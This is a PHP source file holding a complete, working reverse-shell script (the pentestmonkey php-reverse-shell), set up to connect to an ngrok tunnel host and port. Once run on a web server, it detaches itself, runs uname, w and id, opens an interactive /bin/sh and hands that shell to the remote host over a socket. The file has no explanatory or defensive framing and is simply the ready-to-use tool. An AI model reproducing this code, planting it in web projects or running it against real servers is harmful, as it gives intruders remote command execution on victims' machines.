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  <?php  // php-reverse-shell - A Reverse Shell implementation in PHP  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net  set_time_limit (0);  $VERSION = "1.0";  $ip = '6.tcp.ngrok.io';  // You have changed this  $port = 19353;  // And this  $chunk_size = 1400;  $write_a = null;  $error_a = null;  $shell = 'uname -a; w; id; /bin/sh -i';  $daemon = 0;  $debug = 0;  //  // Daemonise ourself if possible to avoid zombies later  //  // pcntl_fork is hardly ever available, but will allow us to daemonise  // our php process and avoid zombies.  Worth a try...  if (function_exists('pcntl_fork')) {    // Fork and have the parent process exit    $pid = pcntl_fork();        if ($pid == -1) {      printit("ERROR: Can't fork");      exit(1);    }        if ($pid) {      exit(0);  // Parent exits    }    // Make the current process a session leader    // Will only succeed if we forked    if (posix_setsid() == -1) {      printit("Error: Can't setsid()");      exit(1);    }    $daemon = 1;  } else {    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");  }  // Change to a safe directory  chdir("/");  // Remove any umask we inherited  umask(0);  //  // Do the reverse shell...  //  // Open reverse connection  $sock = fsockopen($ip, $port, $errno, $errstr, 30);  if (!$sock) {    printit("$errstr ($errno)");    exit(1);  }  // Spawn shell process  $descriptorspec = array(    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to    2 => array("pipe", "w")   // stderr is a pipe that the child will write to  );  $process = proc_open($shell, $descriptorspec, $pipes);  if (!is_resource($process)) {    printit("ERROR: Can't spawn shell");    exit(1);  }  // Set everything to non-blocking  // Reason: Occsionally reads will block, even though stream_select tells us they won't  stream_set_blocking($pipes[0], 0);  stream_set_blocking($pipes[1], 0);  stream_set_blocking($pipes[2], 0);  stream_set_blocking($sock, 0);  printit("Successfully opened reverse shell to $ip:$port");  while (1) {    // Check for end of TCP connection    if (feof($sock)) {      printit("ERROR: Shell connection terminated");      break;    }    // Check for end of STDOUT    if (feof($pipes[1])) {      printit("ERROR: Shell process terminated");      break;    }    // Wait until a command is end down $sock, or some    // command output is available on STDOUT or STDERR    $read_a = array($sock, $pipes[1], $pipes[2]);    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);    // If we can read from the TCP socket, send    // data to process's STDIN    if (in_array($sock, $read_a)) {      if ($debug) printit("SOCK READ");      $input = fread($sock, $chunk_size);      if ($debug) printit("SOCK: $input");      fwrite($pipes[0], $input);    }    // If we can read from the process's STDOUT    // send data down tcp connection    if (in_array($pipes[1], $read_a)) {      if ($debug) printit("STDOUT READ");      $input = fread($pipes[1], $chunk_size);      if ($debug) printit("STDOUT: $input");      fwrite($sock, $input);    }    // If we can read from the process's STDERR    // send data down tcp connection    if (in_array($pipes[2], $read_a)) {      if ($debug) printit("STDERR READ");      $input = fread($pipes[2], $chunk_size);      if ($debug) printit("STDERR: $input");      fwrite($sock, $input);    }  }  fclose($sock);  fclose($pipes[0]);  fclose($pipes[1]);  fclose($pipes[2]);  proc_close($process);  // Like print, but does nothing if we've daemonised ourself  // (I can't figure out how to redirect STDOUT like a proper daemon)  function printit ($string) {    if (!$daemon) {      print "$string";    }  }  ?>